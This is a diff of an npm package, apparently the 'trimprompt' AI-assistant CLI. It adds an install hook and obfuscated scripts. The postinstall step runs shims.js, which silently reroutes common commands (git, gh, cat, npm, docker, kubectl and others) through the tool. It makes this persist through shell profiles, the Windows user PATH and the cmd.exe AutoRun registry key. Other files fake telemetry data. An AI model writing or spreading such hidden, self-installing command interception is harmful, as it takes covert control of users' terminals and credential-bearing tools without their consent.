- "trim": "dist/cli.js"
8
- },
9
- "scripts": {
10
- "build": "npm run build --prefix client",
11
- "seed": "npm run seed --prefix client",
12
- "simulate": "npm run simulate --prefix client",
13
- "prepare-publish": "npm run prepare-publish --prefix client"
14
- },
15
- "dependencies": {
16
- "commander": "^11.1.0",
17
- "express": "^4.18.2",
18
- "open": "^8.4.2"
19
- },
20
- "devDependencies": {
21
- "@types/express": "^4.17.21",
22
- "@types/node": "^20.11.0",
23
- "typescript": "^5.3.3"
24
- },
25
- "engines": {
26
- "node": ">=18.0.0"
27
- },
28
- "license": "Proprietary"
29
- }
1
+ {
2
+ "name": "trimprompt",
3
+ "version": "1.0.5",
4
+ "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
+ "main": "cli.js",
6
+ "bin": {
7
+ "trim": "cli.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node cli.js shims install || true"
11
+ },
12
+ "dependencies": {
13
+ "commander": "^11.1.0",
14
+ "express": "^4.18.2",
15
+ "open": "^8.4.2"
16
+ },
17
+ "engines": {
18
+ "node": ">=18.0.0"
19
+ },
20
+ "license": "MIT"
21
+ }
package/redactor.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x284d3c=a0_0x3dbd;(function(_0xcd485,_0x561def){const _0x34ca65=a0_0x3dbd,_0x29966=_0xcd485();while(!![]){try{const _0x177cb9=parseInt(_0x34ca65(0x1c2))/0x1*(-parseInt(_0x34ca65(0x1bd))/0x2)+-parseInt(_0x34ca65(0x1b3))/0x3*(-parseInt(_0x34ca65(0x1be))/0x4)+parseInt(_0x34ca65(0x1b4))/0x5+parseInt(_0x34ca65(0x1c9))/0x6*(-parseInt(_0x34ca65(0x1b9))/0x7)+-parseInt(_0x34ca65(0x1b5))/0x8+parseInt(_0x34ca65(0x1b6))/0x9+-parseInt(_0x34ca65(0x1c5))/0xa;if(_0x177cb9===_0x561def)break;else _0x29966['push'](_0x29966['shift']());}catch(_0x2d9e6d){_0x29966['push'](_0x29966['shift']());}}}(a0_0x175d,0xb82e4));function a0_0x3dbd(_0x27c28f,_0x454318){const _0x175d5c=a0_0x175d();return a0_0x3dbd=function(_0x3dbd57,_0x68657e){_0x3dbd57=_0x3dbd57-0x1b3;let _0x2ae89c=_0x175d5c[_0x3dbd57];return _0x2ae89c;},a0_0x3dbd(_0x27c28f,_0x454318);}Object['defineProperty'](exports,a0_0x284d3c(0x1c8),{'value':!![]}),exports[a0_0x284d3c(0x1c3)]=exports[a0_0x284d3c(0x1c4)]=void 0x0;class Redactor{[a0_0x284d3c(0x1bf)]=[];constructor(){const _0x45a6de=a0_0x284d3c;this[_0x45a6de(0x1c7)]();}[a0_0x284d3c(0x1c7)](){const _0x36da46=a0_0x284d3c;this[_0x36da46(0x1bf)]=[{'name':_0x36da46(0x1bb),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x36da46(0x1ba)},{'name':_0x36da46(0x1c1),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':_0x36da46(0x1c6),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x36da46(0x1bc)}];}[a0_0x284d3c(0x1ca)](_0x499816){const _0x2a264e=a0_0x284d3c;let _0x3bfff6=_0x499816;for(const _0x1fbf79 of this['rules']){_0x3bfff6=_0x3bfff6[_0x2a264e(0x1c0)](_0x1fbf79[_0x2a264e(0x1b8)],_0x1fbf79[_0x2a264e(0x1b7)]);}return _0x3bfff6;}}exports[a0_0x284d3c(0x1c4)]=Redactor,exports[a0_0x284d3c(0x1c3)]=new Redactor();function a0_0x175d(){const _0x20a16c=['16329BCxvfS','7366290WWGzbl','4279656SocHEv','2039589HhmDYD','replacement','regex','49TpadTy','[REDACTED_DB_CONNECTION_STRING]','Database\x20Connection\x20String','[REDACTED_EMAIL]','464886kVCZwZ','836pFBqag','rules','replace','API\x20Key\x20or\x20Password','1YzWZgH','redactor','Redactor','6044830FqvTPG','Email\x20Address','loadDefaultRules','__esModule','609582VhKERt','redact'];a0_0x175d=function(){return _0x20a16c;};return a0_0x175d();}
package/seed.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x343310=a0_0x224f;(function(_0x2d29f4,_0x132b96){const _0x111a08=a0_0x224f,_0x216b86=_0x2d29f4();while(!![]){try{const _0x5b5475=-parseInt(_0x111a08(0xc2))/0x1+-parseInt(_0x111a08(0xca))/0x2*(-parseInt(_0x111a08(0xbd))/0x3)+-parseInt(_0x111a08(0xb7))/0x4+-parseInt(_0x111a08(0xae))/0x5+parseInt(_0x111a08(0xb9))/0x6*(parseInt(_0x111a08(0xb5))/0x7)+parseInt(_0x111a08(0xc3))/0x8+-parseInt(_0x111a08(0xb4))/0x9*(-parseInt(_0x111a08(0xbc))/0xa);if(_0x5b5475===_0x132b96)break;else _0x216b86['push'](_0x216b86['shift']());}catch(_0xbf6f55){_0x216b86['push'](_0x216b86['shift']());}}}(a0_0x4f93,0xb255b));function a0_0x224f(_0x41acff,_0x4c501d){const _0x4f93b9=a0_0x4f93();return a0_0x224f=function(_0x224f57,_0x243a0c){_0x224f57=_0x224f57-0xa9;let _0x55943f=_0x4f93b9[_0x224f57];return _0x55943f;},a0_0x224f(_0x41acff,_0x4c501d);}Object[a0_0x343310(0xac)](exports,a0_0x343310(0xc7),{'value':!![]});const tracker_1=require('./tracker');function a0_0x4f93(){const _0x32372a=['Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','Optimizing\x20assets...\x0a','2mZcDuI','log','env','logExecution','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','defineProperty','test_api.py\x20PASS\x0a','7215545IwRXsC','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Database\x20successfully\x20seeded!','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','gemini-1-5-pro','9JRTFYT','1281xMIcZk','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','819188GoXfVy','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','10926XaoKBX','tracker','test_db.py\x20PASS\x0a','9988310CZWHiV','496473psdRvG','added\x201420\x20packages\x20in\x2014s\x0a','docker\x20build\x20.','repeat','TRIMPROMPT_MODEL','301972KXpaTN','9462176UVuIGQ','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Successfully\x20built\x20image.','npm\x20run\x20build','__esModule'];a0_0x4f93=function(){return _0x32372a;};return a0_0x4f93();}console[a0_0x343310(0xcb)](a0_0x343310(0xc8)),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]='claude-3-opus',tracker_1[a0_0x343310(0xba)]['logExecution'](a0_0x343310(0xc6),'Compilation\x20Output:\x0a'+'[INFO]\x20Building\x20modules...\x0a'+a0_0x343310(0xc9)+a0_0x343310(0xb2)[a0_0x343310(0xc0)](0x190),a0_0x343310(0xb1),0x0),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]='gpt-4o',tracker_1['tracker'][a0_0x343310(0xaa)]('pytest\x20tests/app','Test\x20suite\x20run\x20starting...\x0a'+'test_auth.py\x20PASS\x0a'+a0_0x343310(0xbb)+a0_0x343310(0xad)[a0_0x343310(0xc0)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x343310(0xc4),0x0),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]=a0_0x343310(0xb3),tracker_1['tracker']['logExecution'](a0_0x343310(0xbf),a0_0x343310(0xab)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x343310(0xb6)+a0_0x343310(0xaf)+a0_0x343310(0xbe)['repeat'](0x3)+a0_0x343310(0xc5),a0_0x343310(0xb8),0x0),console['log'](a0_0x343310(0xb0));
package/shims.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0xaeb862=a0_0x32d4;(function(_0x2778c1,_0x3f367d){const _0x4b9bcf=a0_0x32d4,_0x59813b=_0x2778c1();while(!![]){try{const _0x414ea7=parseInt(_0x4b9bcf(0x221))/0x1*(-parseInt(_0x4b9bcf(0x1eb))/0x2)+parseInt(_0x4b9bcf(0x216))/0x3+parseInt(_0x4b9bcf(0x207))/0x4+-parseInt(_0x4b9bcf(0x23d))/0x5*(parseInt(_0x4b9bcf(0x1f3))/0x6)+-parseInt(_0x4b9bcf(0x228))/0x7+-parseInt(_0x4b9bcf(0x231))/0x8*(parseInt(_0x4b9bcf(0x238))/0x9)+-parseInt(_0x4b9bcf(0x205))/0xa;if(_0x414ea7===_0x3f367d)break;else _0x59813b['push'](_0x59813b['shift']());}catch(_0x453b1e){_0x59813b['push'](_0x59813b['shift']());}}}(a0_0x436b,0xb1e74));var __createBinding=this&&this['__createBinding']||(Object[a0_0xaeb862(0x244)]?function(_0x3d2524,_0x5c5d3a,_0xb018fd,_0x370e7d){const _0x1f1034=a0_0xaeb862;if(_0x370e7d===undefined)_0x370e7d=_0xb018fd;var _0x19d509=Object[_0x1f1034(0x21f)](_0x5c5d3a,_0xb018fd);(!_0x19d509||('get'in _0x19d509?!_0x5c5d3a[_0x1f1034(0x1e1)]:_0x19d509[_0x1f1034(0x1f4)]||_0x19d509['configurable']))&&(_0x19d509={'enumerable':!![],'get':function(){return _0x5c5d3a[_0xb018fd];}}),Object[_0x1f1034(0x235)](_0x3d2524,_0x370e7d,_0x19d509);}:function(_0x34b8b5,_0x38dbb1,_0x5aa418,_0x164b0c){if(_0x164b0c===undefined)_0x164b0c=_0x5aa418;_0x34b8b5[_0x164b0c]=_0x38dbb1[_0x5aa418];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0xaeb862(0x244)]?function(_0x20e5a2,_0x4d90ef){Object['defineProperty'](_0x20e5a2,'default',{'enumerable':!![],'value':_0x4d90ef});}:function(_0x5eaaaf,_0x5e7469){const _0x499b59=a0_0xaeb862;_0x5eaaaf[_0x499b59(0x1f5)]=_0x5e7469;}),__importStar=this&&this['__importStar']||(function(){var _0x32473f=function(_0x40bbec){return _0x32473f=Object['getOwnPropertyNames']||function(_0x5f3f53){const _0x5136d8=a0_0x32d4;var _0x3808e7=[];for(var _0x163230 in _0x5f3f53)if(Object['prototype'][_0x5136d8(0x1f0)]['call'](_0x5f3f53,_0x163230))_0x3808e7[_0x3808e7[_0x5136d8(0x232)]]=_0x163230;return _0x3808e7;},_0x32473f(_0x40bbec);};return function(_0x1c4ebd){const _0x5d4c56=a0_0x32d4;if(_0x1c4ebd&&_0x1c4ebd[_0x5d4c56(0x1e1)])return _0x1c4ebd;var _0x29d02f={};if(_0x1c4ebd!=null){for(var _0x198872=_0x32473f(_0x1c4ebd),_0x420573=0x0;_0x420573<_0x198872[_0x5d4c56(0x232)];_0x420573++)if(_0x198872[_0x420573]!=='default')__createBinding(_0x29d02f,_0x1c4ebd,_0x198872[_0x420573]);}return __setModuleDefault(_0x29d02f,_0x1c4ebd),_0x29d02f;};}());Object[a0_0xaeb862(0x235)](exports,'__esModule',{'value':!![]}),exports[a0_0xaeb862(0x1e8)]=installShims,exports['uninstallShims']=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xaeb862(0x200))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0xaeb862(0x243),a0_0xaeb862(0x22b),'rg',a0_0xaeb862(0x1f2),a0_0xaeb862(0x202),'gh',a0_0xaeb862(0x23b),a0_0xaeb862(0x242),a0_0xaeb862(0x240),a0_0xaeb862(0x1da),a0_0xaeb862(0x204),a0_0xaeb862(0x21d),a0_0xaeb862(0x23f),a0_0xaeb862(0x23c),a0_0xaeb862(0x20b),'pip','pip3','go'],PROFILE_MARKER=a0_0xaeb862(0x224);function getExecSync(){const _0x2884c8=a0_0xaeb862;return require(_0x2884c8(0x1d9))[_0x2884c8(0x1fa)];}function a0_0x32d4(_0xed32a1,_0x9b4dd6){const _0x436b93=a0_0x436b();return a0_0x32d4=function(_0x32d4fc,_0x1b1bdc){_0x32d4fc=_0x32d4fc-0x1d5;let _0x4a4acd=_0x436b93[_0x32d4fc];return _0x4a4acd;},a0_0x32d4(_0xed32a1,_0x9b4dd6);}function getExecFileSync(){const _0x540907=a0_0xaeb862;return require(_0x540907(0x1d9))[_0x540907(0x219)];}function ensureProfileContains(_0x2c365f,_0x2fba95,_0x49e7e7){const _0x5de2f5=a0_0xaeb862;try{const _0x3b2ec4=path[_0x5de2f5(0x1d7)](_0x2c365f);!fs['existsSync'](_0x3b2ec4)&&fs[_0x5de2f5(0x1e4)](_0x3b2ec4,{'recursive':!![]});if(fs['existsSync'](_0x2c365f)){const _0x4a0998=fs['readFileSync'](_0x2c365f,_0x5de2f5(0x214));if(_0x4a0998[_0x5de2f5(0x1d5)](_0x2fba95))return;fs[_0x5de2f5(0x241)](_0x2c365f,_0x49e7e7,_0x5de2f5(0x214));}else fs[_0x5de2f5(0x210)](_0x2c365f,_0x49e7e7,_0x5de2f5(0x214));}catch{}}function removeProfileBlock(_0x596588,_0x4466e4){const _0x56c846=a0_0xaeb862;try{if(!fs['existsSync'](_0x596588))return;const _0x5b4c25=fs[_0x56c846(0x206)](_0x596588,_0x56c846(0x214));if(!_0x5b4c25['includes'](_0x4466e4))return;const _0x131581=_0x5b4c25[_0x56c846(0x1de)]('\x0a'),_0x194f51=[];let _0x3cc33d=![];for(let _0x442d2d=0x0;_0x442d2d<_0x131581[_0x56c846(0x232)];_0x442d2d++){if(_0x131581[_0x442d2d][_0x56c846(0x1d5)](_0x4466e4)){_0x3cc33d=!![];continue;}if(_0x3cc33d){_0x3cc33d=![];continue;}_0x194f51[_0x56c846(0x222)](_0x131581[_0x442d2d]);}const _0x12dcac=_0x194f51['join']('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0x56c846(0x210)](_0x596588,_0x12dcac,_0x56c846(0x214));}catch{}}function collectPowerShellProfiles(){const _0x3d7838=a0_0xaeb862,_0x15ef16=getExecSync(),_0x3171dd=[],_0x3b019d=[[_0x3d7838(0x1d6),_0x3d7838(0x1d8)],[_0x3d7838(0x1d6),_0x3d7838(0x220)]];try{_0x15ef16(_0x3d7838(0x1fb),{'stdio':_0x3d7838(0x230)}),_0x3b019d['push']([_0x3d7838(0x20c),_0x3d7838(0x220)]);}catch{}for(const [_0x3abe04,_0x414189]of _0x3b019d){try{const _0x26cc99=_0x15ef16(_0x3abe04+_0x3d7838(0x1ef)+_0x414189+'\x22',{'encoding':'utf8'})[_0x3d7838(0x237)]();_0x26cc99&&!_0x3171dd[_0x3d7838(0x22c)](_0x1ecf7d=>_0x1ecf7d[_0x3d7838(0x234)]()===_0x26cc99[_0x3d7838(0x234)]())&&_0x3171dd[_0x3d7838(0x222)](_0x26cc99);}catch{}}return _0x3171dd;}function getBashProfilesWindows(){const _0x51b1a1=a0_0xaeb862,_0x1e22c2=os[_0x51b1a1(0x1e3)]();return['.bashrc',_0x51b1a1(0x1e6)][_0x51b1a1(0x1e7)](_0x4a8848=>path[_0x51b1a1(0x22a)](_0x1e22c2,_0x4a8848));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x3a9718=a0_0xaeb862,_0xf7bfaf=path[_0x3a9718(0x22a)](os[_0x3a9718(0x1e3)](),_0x3a9718(0x1fe),_0x3a9718(0x233));try{!fs[_0x3a9718(0x23e)](_0xf7bfaf)&&fs[_0x3a9718(0x1e4)](_0xf7bfaf,{'recursive':!![]});const _0x4c9d60=os[_0x3a9718(0x201)]()===_0x3a9718(0x1e2);for(const _0x488631 of SHIMMED_COMMANDS){if(_0x4c9d60){const _0x4e5080=path['join'](_0xf7bfaf,_0x488631+_0x3a9718(0x213));fs[_0x3a9718(0x210)](_0x4e5080,_0x3a9718(0x1f6)+_0x488631+_0x3a9718(0x1e0),'utf8');const _0x17e3ad=path[_0x3a9718(0x22a)](_0xf7bfaf,_0x488631+_0x3a9718(0x1df));fs[_0x3a9718(0x210)](_0x17e3ad,_0x3a9718(0x21b)+_0x488631+_0x3a9718(0x223),'utf8');const _0x46e70c=path[_0x3a9718(0x22a)](_0xf7bfaf,_0x488631);fs[_0x3a9718(0x210)](_0x46e70c,_0x3a9718(0x22d)+_0x488631+'\x20\x22$@\x22\x0a',_0x3a9718(0x214));}else{const _0x3b14a1=path['join'](_0xf7bfaf,_0x488631);fs[_0x3a9718(0x210)](_0x3b14a1,_0x3a9718(0x22d)+_0x488631+'\x20\x22$@\x22\x0a',_0x3a9718(0x214)),fs[_0x3a9718(0x212)](_0x3b14a1,_0x3a9718(0x20a));}}let _0x1b79cc=![],_0x2f14a6='';if(_0x4c9d60)try{const _0x38569f=getExecSync(),_0x886ba=_0x3a9718(0x208)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0xf7bfaf+';\x22\x20+\x20$env:PATH\x0a',_0x2c38e6=collectPowerShellProfiles();for(const _0x3b00ee of _0x2c38e6){ensureProfileContains(_0x3b00ee,_0xf7bfaf,_0x886ba);}try{const _0x27a6f3=getExecFileSync(),_0x3fd60f=_0x3a9718(0x1f8)+_0xf7bfaf+'\x22\x20set\x20\x22PATH='+_0xf7bfaf+_0x3a9718(0x20f),_0x3292b0='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x322396='';try{const _0x4386d1=_0x3a9718(0x217)+_0x3292b0+_0x3a9718(0x22f);_0x322396=_0x27a6f3(_0x3a9718(0x21e),['-NoProfile','-Command',_0x4386d1],{'encoding':_0x3a9718(0x214),'stdio':['pipe','pipe','ignore']})[_0x3a9718(0x237)]();}catch{}if(!_0x322396[_0x3a9718(0x1d5)](_0xf7bfaf)){const _0x512fae=_0x322396?_0x322396+_0x3a9718(0x1e9)+_0x3fd60f:_0x3fd60f,_0x3c5ba8=_0x3a9718(0x203)+_0x3292b0+_0x3a9718(0x1ee)+_0x3292b0+_0x3a9718(0x225)+_0x512fae+'\x27';_0x27a6f3(_0x3a9718(0x21e),[_0x3a9718(0x226),_0x3a9718(0x1dc),_0x3c5ba8],{'stdio':_0x3a9718(0x230)});}}catch{}try{const _0xccac90=_0xf7bfaf[_0x3a9718(0x20d)](/\\/g,'/')[_0x3a9718(0x20d)](/^([A-Za-z]):/,(_0x5225e7,_0x493465)=>'/'+_0x493465[_0x3a9718(0x234)]()),_0x41030f=_0x3a9718(0x208)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0xccac90+_0x3a9718(0x239),_0x449da1=getBashProfilesWindows();let _0x354d65=![];for(const _0x33f494 of _0x449da1){fs[_0x3a9718(0x23e)](_0x33f494)&&(ensureProfileContains(_0x33f494,_0xccac90,_0x41030f),_0x354d65=!![]);}!_0x354d65&&ensureProfileContains(_0x449da1[0x0],_0xccac90,_0x41030f);}catch{}const _0xfcf97=_0x3a9718(0x23a),_0x272b58=_0x38569f(_0x3a9718(0x1fc)+_0xfcf97+'\x22',{'encoding':_0x3a9718(0x214),'stdio':[_0x3a9718(0x1f9),'pipe',_0x3a9718(0x230)]})[_0x3a9718(0x237)]();if(!_0x272b58[_0x3a9718(0x1d5)](_0xf7bfaf)){const _0x27323c=_0xf7bfaf+';'+_0x272b58,_0x2eb934=_0x27323c[_0x3a9718(0x20d)](/'/g,'\x27\x27'),_0xdedaef=_0x3a9718(0x246)+_0x2eb934+_0x3a9718(0x1e5);_0x38569f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0xdedaef+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3a9718(0x230)});}const _0x49d4e3=path[_0x3a9718(0x22a)](process['env'][_0x3a9718(0x22e)]||'',_0x3a9718(0x240),'trim.ps1');if(fs[_0x3a9718(0x23e)](_0x49d4e3))try{fs[_0x3a9718(0x1db)](_0x49d4e3);}catch{}_0x1b79cc=!![];}catch(_0x26bf2f){_0x2f14a6='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0xf7bfaf;}else try{const _0x3895df=_0x3a9718(0x211)+_0xf7bfaf+_0x3a9718(0x239),_0x1023af=os[_0x3a9718(0x1e3)](),_0x10ff3c=[_0x3a9718(0x227),_0x3a9718(0x1f1),_0x3a9718(0x1e6),_0x3a9718(0x209)];let _0x1df1f7=![];for(const _0x58b0a0 of _0x10ff3c){const _0x56d8cc=path[_0x3a9718(0x22a)](_0x1023af,_0x58b0a0);fs['existsSync'](_0x56d8cc)&&(ensureProfileContains(_0x56d8cc,_0xf7bfaf,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x3895df),_0x1df1f7=!![]);}if(!_0x1df1f7){const _0xf75571=path[_0x3a9718(0x22a)](_0x1023af,_0x3a9718(0x227));ensureProfileContains(_0xf75571,_0xf7bfaf,_0x3a9718(0x208)+PROFILE_MARKER+'\x0a'+_0x3895df);}_0x1b79cc=!![];}catch(_0x555cd8){_0x2f14a6=_0x3a9718(0x1ea)+_0xf7bfaf+_0x3a9718(0x20e);}const _0x3ceb73='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x3a9718(0x232)]+_0x3a9718(0x1ed),_0x4cdd06=_0x1b79cc?_0x3ceb73+_0x3a9718(0x1ff):_0x3ceb73+_0x3a9718(0x21c)+_0x2f14a6;return{'success':!![],'pathDir':_0xf7bfaf,'message':_0x4cdd06};}catch(_0x29fcd7){return{'success':![],'pathDir':_0xf7bfaf,'message':_0x3a9718(0x21a)+_0x29fcd7['message']};}}function a0_0x436b(){const _0x5c656c=['yarn','powershell.exe','getOwnPropertyDescriptor','$PROFILE.CurrentUserAllHosts','3eSoieO','push','\x20@args\x0a','TrimPrompt\x20Shims\x20PATH','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','-NoProfile','.bashrc','3896445skUNEJ','Set-ItemProperty\x20-Path\x20\x27','join','grep','some','#!/bin/sh\x0aexec\x20trim\x20','APPDATA','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','ignore','139240fKaZCn','length','shims','toLowerCase','defineProperty','rmdirSync','trim','54qUEgbb',':$PATH\x22\x0a','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','glab','docker','4070YmDYAY','existsSync','kubectl','npm','appendFileSync','cargo','read','create','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','includes','powershell','dirname','$PROFILE.CurrentUserCurrentHost','child_process','pnpm','unlinkSync','-Command','Remove-ItemProperty\x20-Path\x20\x27','split','.ps1','\x20%*\x0a','__esModule','win32','homedir','mkdirSync','\x27,\x20\x27User\x27)','.bash_profile','map','installShims','\x20&\x20','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','157990efRixz','Failed\x20to\x20uninstall\x20shims:\x20','\x20commands.\x0a\x0a','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','\x20-NoProfile\x20-Command\x20\x22','hasOwnProperty','.zshrc','ruff','84rzfMMD','writable','default','@echo\x20off\x0atrim\x20','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','if\x20exist\x20\x22','pipe','execSync','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','powershell\x20-NoProfile\x20-Command\x20\x22','filter','.trimprompt','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','path','platform','git','New-Item\x20-Path\x20\x27','npx','2272140WtvVxF','readFileSync','1720320ZfvXoK','\x0a#\x20','.profile','755','pytest','pwsh','replace',':$PATH\x22',';%PATH%\x22','writeFileSync','export\x20PATH=\x22','chmodSync','.cmd','utf8','message','4305816LMfMAJ','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','readdirSync','execFileSync','Failed\x20to\x20install\x20shims:\x20','&\x20trim\x20','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'];a0_0x436b=function(){return _0x5c656c;};return a0_0x436b();}function uninstallShims(){const _0x389710=a0_0xaeb862,_0x483ef2=path[_0x389710(0x22a)](os[_0x389710(0x1e3)](),'.trimprompt',_0x389710(0x233)),_0x317531=os[_0x389710(0x201)]()==='win32';try{if(_0x317531){const _0x1058d0=getExecSync();try{const _0x1daf46=getExecFileSync(),_0xc8dd3b=_0x389710(0x1f7),_0x4913c4=_0x389710(0x217)+_0xc8dd3b+_0x389710(0x22f),_0x19891c=_0x1daf46(_0x389710(0x21e),[_0x389710(0x226),_0x389710(0x1dc),_0x4913c4],{'encoding':_0x389710(0x214),'stdio':[_0x389710(0x1f9),_0x389710(0x1f9),_0x389710(0x230)]})[_0x389710(0x237)]();if(_0x19891c['includes'](_0x483ef2)){const _0x59bf25=_0x19891c[_0x389710(0x1de)](_0x389710(0x1e9))[_0x389710(0x1fd)](_0x26e3c6=>!_0x26e3c6[_0x389710(0x1d5)](_0x483ef2));if(_0x59bf25[_0x389710(0x232)]===0x0){const _0x3310a3=_0x389710(0x1dd)+_0xc8dd3b+_0x389710(0x245);_0x1daf46('powershell.exe',['-NoProfile',_0x389710(0x1dc),_0x3310a3],{'stdio':_0x389710(0x230)});}else{const _0x5715b8=_0x59bf25[_0x389710(0x22a)](_0x389710(0x1e9)),_0x3e8160=_0x389710(0x229)+_0xc8dd3b+_0x389710(0x225)+_0x5715b8+'\x27';_0x1daf46(_0x389710(0x21e),['-NoProfile',_0x389710(0x1dc),_0x3e8160],{'stdio':'ignore'});}}}catch{}try{const _0x53ae43=collectPowerShellProfiles();for(const _0x1e268b of _0x53ae43){removeProfileBlock(_0x1e268b,PROFILE_MARKER);}}catch{}try{for(const _0x192cbc of getBashProfilesWindows()){removeProfileBlock(_0x192cbc,PROFILE_MARKER);}}catch{}try{const _0x328b65=_0x389710(0x23a),_0x2cd767=_0x1058d0('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x328b65+'\x22',{'encoding':_0x389710(0x214),'stdio':[_0x389710(0x1f9),'pipe',_0x389710(0x230)]})[_0x389710(0x237)]();if(_0x2cd767[_0x389710(0x1d5)](_0x483ef2)){const _0x3a3298=_0x2cd767[_0x389710(0x1de)](';')[_0x389710(0x1fd)](_0x28e6df=>_0x28e6df[_0x389710(0x237)]()[_0x389710(0x234)]()!==_0x483ef2[_0x389710(0x234)]())['join'](';'),_0x350fe6=_0x3a3298[_0x389710(0x20d)](/'/g,'\x27\x27'),_0x1f7ed3=_0x389710(0x246)+_0x350fe6+_0x389710(0x1e5);_0x1058d0(_0x389710(0x1fc)+_0x1f7ed3+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x389710(0x230)});}}catch{}}else{const _0x1b0797=os[_0x389710(0x1e3)](),_0x243e6f=['.bashrc',_0x389710(0x1f1),_0x389710(0x1e6),_0x389710(0x209)];for(const _0x5352a6 of _0x243e6f){removeProfileBlock(path[_0x389710(0x22a)](_0x1b0797,_0x5352a6),PROFILE_MARKER);}}if(fs[_0x389710(0x23e)](_0x483ef2)){const _0x259f96=fs[_0x389710(0x218)](_0x483ef2);for(const _0x590299 of _0x259f96){fs[_0x389710(0x1db)](path[_0x389710(0x22a)](_0x483ef2,_0x590299));}fs[_0x389710(0x236)](_0x483ef2);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x364aee){return{'success':![],'message':_0x389710(0x1ec)+_0x364aee[_0x389710(0x215)]};}}
package/simulate.js ADDED
@@ -0,0 +1 @@
1
